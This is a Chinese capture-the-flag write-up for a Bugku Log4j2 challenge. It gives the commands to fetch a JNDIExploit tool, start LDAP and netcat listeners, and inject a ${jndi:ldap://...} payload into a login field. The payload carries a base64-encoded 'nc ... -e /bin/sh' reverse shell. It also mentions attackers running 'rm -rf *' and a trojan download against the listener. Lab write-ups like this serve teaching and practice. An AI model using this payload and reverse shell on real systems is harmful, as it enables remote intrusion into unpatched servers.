Bugku Log4j2 漏洞题目 解题参考


Log4j2 漏洞题目

题目地址 https://ctf.bugku.com/challenges/detail/id/340.html?page=1

二、攻击环境准备

需要一台linux云服务器,把kali内网穿透出去也行。

本教程只演示在centos7云服务器下的操作,其它平台请自行解决

2.1 在云服务器下安装工具 并开启监听

#安装nc
sudo yum install nc -y

#安装git
sudo yum install git -y

#克隆 考虑到github可能不稳定,改用gitee
#github命令  git clone https://github.com/black9/Log4shell_JNDIExploit.git
wget https://gitee.com/kittysmith5/log4j2/raw/master/log4j/log4j.zip

# 解压 没安装unzip,请自行安装
unzip log4j.zip

#进入目录
cd log4j/

2.2 开启ldap和http服务监听

# 一定要写自己服务器的公网ip,否则用回环地址127.0.0.1反弹不到shell
java -jar *.jar -i 114.114.114.114 -p 8080

#没安装java可以参考这篇博文  https://www.cnblogs.com/ktsm/p/14921272.html

出现以下提示就说明监听成功

image-20211215214144740

2.3 开启nc监听

一定要新开一个shell,如下图,方便我们后续操作

image-20211215214714222
#开启nc监听12345端口
nc -lvn 12345

出现如下提示就说明监听成功了

image-20211215215202539

没出现提示, 但没提示报错也是监听成功了

2.4 进行jndi注入攻击

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}

直接填写base64加密的反弹shell命令即可

nc x.x.x.x 12345 -e /bin/sh

base64编码网站 http://tool.chinaz.com/tools/base64.aspx

把这条注入表达式填入登陆的user框中, 密码随便填一个即可

${jndi:ldap://114.114.114.114:1389/Basic/Command/Base64/bmMgMTE0LjExNC4xMTQuMTE0IDEyMzQ1IC1lIC9iaW4vc2g=}

image-20211215220413459

回到那个nc监听的shell窗口, 会发现多了几行, 说明成功反弹到了shell

image-20211215215839158

输入ls 和cat flag就能得到flag了

三、关闭监听环境!!!

刚开启ldap和http服务监听, 就收到来自国外的恶意攻击

如下图直接 rm -rf *

而且想通过wget 下载一个木马文件, 因此解完题目后一定要关闭所有服务